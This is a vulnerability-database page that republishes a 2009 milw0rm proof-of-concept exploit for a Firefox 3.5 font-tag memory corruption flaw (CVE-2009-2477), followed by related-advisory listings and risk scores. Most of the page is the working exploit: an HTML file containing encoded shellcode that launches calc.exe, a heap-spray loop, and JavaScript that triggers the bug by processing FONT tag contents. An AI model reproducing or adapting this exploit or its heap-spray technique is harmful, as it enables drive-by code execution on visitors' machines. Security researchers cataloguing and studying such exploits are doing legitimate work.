Mozilla Firefox 3.5 - Font tags Remote Buffer Overflow

🗓️ 13 Jul 2009 00:00:00Reported by SberryType

Mozilla Firefox 3.5 Font Tags Remote Buffer Overflo

Reporter	Title	Published	Views	Family All 69
zdt	Naenara Browser 3.5 (RedStar 3.0 Desktop) - JACKRABBIT Client-Side Command Execution Exploit	19 Dec 201600:00	–	zdt
FreeBSD	mozilla -- corrupt JIT state after deep return from native function	16 Jul 200900:00	–	freebsd
Circl	CVE-2009-2477	13 Jul 200900:00	–	circl
Circl	CVE-2009-2478	13 Jul 200900:00	–	circl
Check Point Advisories	Mozilla Firefox JIT escape Function Memory Corruption - Ver2 (CVE-2009-2477)	16 Apr 201400:00	–	checkpoint_advisories
Check Point Advisories	Update Protection against Mozilla Firefox JIT escape Function Memory Corruption	25 Mar 201000:00	–	checkpoint_advisories
Check Point Advisories	Mozilla Firefox JIT escape Function Memory Corruption - Ver2 (CVE-2009-2477)	16 Apr 201400:00	–	checkpoint_advisories
CVE	CVE-2009-2477	15 Jul 200915:00	–	cve
CVE	CVE-2009-2478	16 Jul 200915:00	–	cve
Cvelist	CVE-2009-2477	15 Jul 200915:00	–	cvelist

<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw  </FONT>
</p>
</div>
<script language=JavaScript>

/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
/* Heap Spray Code */
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
    fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
    sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()

function escapeData(data)
{
 var i;
 var c;
 var escData='';
 for(i=0;i<data.length;i++)
  {
   c=data.charAt(i);
   if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
   escData+=c;
  }
 return escData;
}

function DataTranslator(){
    searchArray = new Array();
    searchArray[0] = new Array();
    searchArray[0]["str"] = "blah";
    var newElement = document.getElementById("content")
    if (document.getElementsByTagName) {
        var i=0;
        pTags = newElement.getElementsByTagName("p")
        if (pTags.length > 0)
        while (i<pTags.length)
        {
            oTags = pTags[i].getElementsByTagName("font")
            searchArray[i+1] = new Array()
            if (oTags[0])
            {
                searchArray[i+1]["str"] = oTags[0].innerHTML;
            }
            i++
        }
    }
}

function GenerateHTML()
{
    var html = "";
    for (i=1;i<searchArray.length;i++)
    {
        html += escapeData(searchArray[i]["str"])
    }
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>

# milw0rm.com [2009-07-13]

13 Jul 2009 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.42689